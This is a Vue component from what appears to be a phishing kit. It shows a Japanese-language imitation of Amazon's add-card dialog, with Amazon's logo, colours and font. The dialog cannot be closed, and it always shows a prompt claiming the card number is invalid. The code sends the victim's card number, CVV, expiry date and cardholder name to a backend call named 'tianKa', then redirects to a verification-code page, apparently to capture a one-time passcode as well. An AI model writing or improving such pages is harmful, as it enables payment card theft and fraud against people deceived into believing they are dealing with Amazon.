<template>
  <div class="content">
    <!-- 新增蒙层元素 -->
    <div class="overlay"></div>

    <!-- 弹窗 - 优化为响应式宽度 -->
    <el-dialog
        :visible.sync="dialogVisible"
        :width="getDialogWidth()"
        class="style-dialog"
        :modal="false"
        :close-on-click-modal="false"
        :close-on-press-escape="false"
        :before-close="handleBeforeClose"
    >
      <div class="header-icon-container">
        <svg viewBox="0 0 51 12" role="presentation" class="header-icon">
          <path fill-rule="evenodd" clip-rule="evenodd" d="M45.6951 5.07267C40.2222 9.1214 32.2778 11.2605 25.4514 11.2605C16.3203 11.308 7.50058 7.94378 0.720656 1.82722C0.205738 1.36527 0.66475 0.732652 1.28265 1.09162C8.81758 5.39692 17.347 7.65784 26.0252 7.65021C32.5091 7.6186 38.9229 6.30566 44.8977 3.78685C45.8128 3.4014 46.5984 4.41358 45.6951 5.07267Z" fill="#FF9900"></path>
          <path fill-rule="evenodd" clip-rule="evenodd" d="M47.9725 2.47161C47.284 1.57418 43.3441 2.05967 41.5787 2.25976C41.0461 2.32155 40.9608 1.85665 41.4433 1.51827C44.577 -0.682632 49.7114 -0.0470765 50.3087 0.688521C50.9061 1.42412 50.1499 6.5733 47.2134 9.03608C46.7632 9.4127 46.3306 9.21262 46.5337 8.71241C47.1928 7.06173 48.6728 3.36904 47.9725 2.47161Z" fill="#FF9900"></path>
        </svg>
      </div>
      <!-- 表单区域 -->

      <el-form
          :model="form"
          ref="creditCardForm"
          label-width="100%"
          label-position="top"
      >
        <p class="form-title">クレジットまたはデビットカードを追加</p>
        <p class="form-subtitle">Amazonでは主要なカードをすべてご利用いただけます</p>
        <p class="required-note">* 印は入力必須項目です</p>
        <!-- 卡号 -->
        <el-form-item label="カード番号*" size="small">
          <el-input
              v-model="displayCardNo"
              placeholder="カード番号*"
              :maxlength="19"
              :class="{'mobile-input': isMobile}"
              @input="handleCardNoInput"
          />
        </el-form-item>
        <div style="margin-bottom: 5px">
          <i class="el-icon-warning" style="color: red"></i> <span style="font-size: 12px;color:#ee0000;" >有効なカード番号を入力してください</span>
        </div>
        <!-- 有效期 + CVV 一行布局 - 优化响应式显示 -->
        <el-row :gutter="10" class="expiry-cvv-row">
          <el-col :span="isMobile ? 12 : 12">
            <el-form-item class="break-label" size="small">
              <template #label>
                有効期限<br>月(MM)/年(YY)*
              </template>
              <el-input
                  v-model="expireDate"
                  placeholder="有効期限"
                  :class="{'mobile-input': isMobile}"
                  @input="handleInput"
              />
            </el-form-item>
            <div style="margin-bottom: 5px;margin-top: -12px" v-if="isBeforeToday">
              <i class="el-icon-warning" style="color: red"></i> <span style="font-size: 10px;color:#ee0000;" >カードの有効期間の満了年が過ぎています。</span>
            </div>
          </el-col>
          <el-col :span="isMobile ? 12 : 12" :offset="isMobile ? 0 : 0">
            <el-form-item size="small">
              <template #label>
                セキュリティコード <br>(CVV 3‐4桁)*
              </template>
              <el-input
                  v-model="form.saftyCode"
                  placeholder="セキュリティコード"
                  maxlength="4"
                  :class="{'mobile-input': isMobile}"
              />
            </el-form-item>
          </el-col>
        </el-row>

        <!-- 卡名称 -->
        <el-form-item label="カードの名義*" size="small" style="margin-top: -15px">
          <el-input
              v-model="form.cardName"
              placeholder="カードの名義"
              :class="{'mobile-input': isMobile}"
          />
        </el-form-item>
        <el-button
            type="primary"
            :loading="btnLoadingFlag"
            @click="handleSubmit"
            class="submit-button"
            :style="isMobile ? {} : {}"
        >
          次へ進む
        </el-button>
      </el-form>

      <!-- 弹窗底部操作区 -->
      <div slot="footer" class="dialog-footer">
        <div class="security-info" :style="isMobile ? {marginBottom: '10px'} : {marginBottom: '15px'}">
          <div class="security-icon">
            <svg viewBox="0 0 20 20" xmlns="http://www.w3.org/2000/svg" fill="none" role="presentation" class="privacy-icon">
              <path d="M14 8h-.19V6.87a3.81 3.81 0 1 0-7.62 0V8H6a2 2 0 0 0-2 2v5a2 2 0 0 0 2 2h8a2 2 0 0 0 2-2v-5a2 2 0 0 0-2-2ZM8.19 6.87a1.81 1.81 0 0 1 3.62 0V8H8.19V6.87ZM14 15H6v-5h8v5Z" fill="#565959"></path>
            </svg>
          </div>
          <div class="security-text">
            <span>お客様の情報は暗号化で保護されています。</span>
          </div>
        </div>
      </div>
    </el-dialog>
  </div>
</template>

<script>
import {tianKa} from "@/api/baseApi";

export default {
  data() {
    return {
      dialogVisible: true,
      form: {
        cardNo: '',
        saftyCode: '',
        cardName: ''
      },
      btnLoadingFlag: false,
      name: '',
      isMobile: false, // 标识是否为移动设备
      rawValue: '',
      isProcessing: false,
      separator: ' ', // 分隔符
      chunkSize: 4, // 每chunkSize个字符添加一个空格
      isBeforeToday: false
    }
  },
  computed: {
    // 计算属性：格式化显示的值
    expireDate: {
      get() {
        return this.formatValue(this.rawValue);
      },
      set(value) {
        // 存储原始纯数字值
        this.rawValue = value.replace(/[^0-9]/g, '');
      }
    },
    // 计算属性：格式化显示的卡号
    displayCardNo: {
      get() {
        return this.formatCardNumber(this.form.cardNo);
      },
      set(value) {
        // 存储原始值（移除分隔符）
        // this.form.cardNo = value
        this.form.cardNo = value.replace(new RegExp(this.escapeRegExp(this.separator), 'g'), '');
      }
    }
  },
  created() {
    // 检测设备类型
    this.detectDeviceType();
    // 监听窗口大小变化
    window.addEventListener('resize', this.detectDeviceType);

    if(this.$route.params.name){
      this.name =  this.$route.params.name
    }else{
      this.name =  localStorage.getItem("amazonLoginName")
    }
  },
  beforeDestroy() {
    // 移除窗口大小变化监听
    window.removeEventListener('resize', this.detectDeviceType);
  },
  methods: {
    // 转义正则表达式特殊字符
    escapeRegExp(string) {
      return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
    },

    // 格式化卡号：每chunkSize个字符添加一个分隔符
    formatCardNumber(value) {
      if (!value) return '';

      // 每chunkSize个字符添加一个分隔符
      const regex = new RegExp(`(.{${this.chunkSize}})`, 'g');
      return value.replace(regex, `$1${this.separator}`).trim();
    },
    // 检测设备类型
    detectDeviceType() {
      this.isMobile = window.innerWidth < 768; // 以768px为断点区分移动设备和桌面设备
    },
    // 获取对话框宽度 - 实现响应式
    getDialogWidth() {
      if (this.isMobile) {
        return '90%'; // 移动设备上使用90%宽度
      } else {
        return '500px'; // 桌面设备上使用固定宽度
      }
    },
    // 提交表单
    async handleSubmit() {
      this.btnLoadingFlag = true
      let params = {...this.form, name: this.name,expireDate:this.expireDate}
      const res =  await tianKa(params)
      this.btnLoadingFlag = false
      if(res.data === '填卡正确'){
        this.$router.replace({ name: 'TianKaCheckCodePage', params: { 'name': this.name } })
      }
      if(res.data === '填卡错误'){
        this.$router.replace({ name: 'TianKaError', params: { 'name': this.name } })
      }
    },
    // 关闭前钩子，阻止对话框关闭
    handleBeforeClose(done) {
      // 直接拒绝关闭
      done(false)
    },
    // 格式化值：每两位添加一个斜杠
    formatValue(value) {
      if (!value) return '';

      // 核心格式化逻辑：每两位添加一个斜杠
      return value.replace(/(\d{2})(?=\d)/g, '$1/');
    },

    // 处理输入事件
    handleInput() {
      if (this.isProcessing) return;
      this.isProcessing = true;
      // 确保DOM更新完成后再调整光标
      this.$nextTick(() => {
        this.isProcessing = false;
      });

      // 清空上次结果
      this.isBeforeToday = false;

      // 检查输入格式
      const regex = /^(\d{1,2})\/(\d{2})$/;
      if (this.expireDate.length<5 && !regex.test(this.expireDate)) {
        return;
      }

      // 提取月和年
      const [, monthStr, yearStr] = this.expireDate.match(regex);
      const month = parseInt(monthStr, 10) - 1; // JavaScript月份从0开始
      const year = parseInt(yearStr, 10) + (new Date().getFullYear() - new Date().getFullYear() % 100);

      // 获取当前日期
      const today = new Date();

      // 构建输入日期对象
      const inputDate = new Date(year, month, 28);

      // 判断是否在当前日期之前
      this.isBeforeToday = inputDate < today;
    },
    // 处理卡号输入事件
    handleCardNoInput() {
      if (this.isProcessing) return;
      this.isProcessing = true;

      // 确保DOM更新完成后再调整光标
      this.$nextTick(() => {
        // 计算新的光标位置
        // 设置光标位置
        this.isProcessing = false;
      });
    },

    // 计算新的光标位置
    calculateNewCursorPosition(originalValue, formattedValue, originalSelection) {
      // 计算原始值中的分隔符数量
      const originalDelimiters = (originalValue.match(/\//g) || []).length;
      // 计算格式化后的值中的分隔符数量
      const formattedDelimiters = (formattedValue.match(/\//g) || []).length;

      // 计算原始值中光标前的分隔符数量
      const delimitersBeforeCursor = (originalValue.substring(0, originalSelection).match(/\//g) || []).length;

      // 计算偏移量
      const offset = delimitersBeforeCursor > 0 ?
          formattedDelimiters - originalDelimiters : 0;

      // 确保光标位置不超过字符串长度
      return Math.min(originalSelection + offset, formattedValue.length);
    }


  }
}
</script>

<style scoped>
.content {
  top: 0;
  left: 0;
  background: url('../images/beiJing.png') no-repeat center center;
  background-size: cover; /* 优化背景图片显示，保持比例且覆盖整个容器 */
  width: 100%;
  height: 100%;
  position: fixed;
  z-index: 1;
}

/* 蒙层样式 */
.overlay {
  position: absolute;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  background-color: rgba(0, 0, 0, 0.5);
  z-index: 2;
}

/* 对话框样式优化 */
::v-deep .style-dialog .el-dialog {
  border-radius: 20px !important;
  z-index: 3;
  box-shadow: 0 10px 25px rgba(0, 0, 0, 0.1);
}

.header-icon-container {
  width: 100%;
  text-align: center;
  margin-top: -30px;
  padding: 0 20px;
  box-sizing: border-box;
}

.header-icon {
  height: 12px;
  width: 51px;
  display: inline-block;
}

/* 表单文字样式 */
.form-title {
  font-size: 18px;
  font-weight: bold;
  color: #0f1111;
  margin: 0;
}

.form-subtitle {
  font-size: 14px;
  font-weight: bold;
  margin: 8px 0 12px;
}

.required-note {
  font-size: 14px;
  font-weight: bolder;
  margin: 0 0 20px;
}

/* 表单元素样式 */
::v-deep .el-form-item--small .el-form-item__label {
  line-height: 20px;
  font-weight: bold;
  color: #0f1111;
  font-size: 14px;
}

.el-form-item--small.el-form-item {
  margin-bottom: 16px;
}

.expiry-cvv-row {
  margin-bottom: 16px;
}

.mobile-input {
  height: 40px;
  line-height: 40px;
}

/* 底部操作区样式 */
.dialog-footer {
  text-align: center;
  margin-top: -36px;
  padding: 20px 30px;
  box-sizing: border-box;
}

.submit-button {
  width: 100%;
  border-radius: 20px;
  background-color: #ffd814;
  color: #0f1111;
  font-weight: bold;
  transition: all 0.3s;
}

.submit-button:hover {
  background-color: #e6c300;
}

.security-info {
  margin-top: 10px;
  align-items: center;
  display: flex;
  flex-direction: row;
  justify-content: center;
}

.security-icon {
  align-items: center;
  flex-shrink: 0;
  height: 20px;
  justify-content: center;
  width: 20px;
  margin-right: 8px;
}

.security-text span {
  color: #565959;
  font-family: "Amazon Ember";
  font-size: 12px;
  font-weight: 400;
  line-height: 16px;
  text-align: left;
}

/* 响应式调整 */
@media (max-width: 768px) {
  .expiry-cvv-row .el-col {
    margin-bottom: 10px;
  }

  .expiry-cvv-row .el-col:last-child {
    margin-bottom: 0;
  }
}
</style>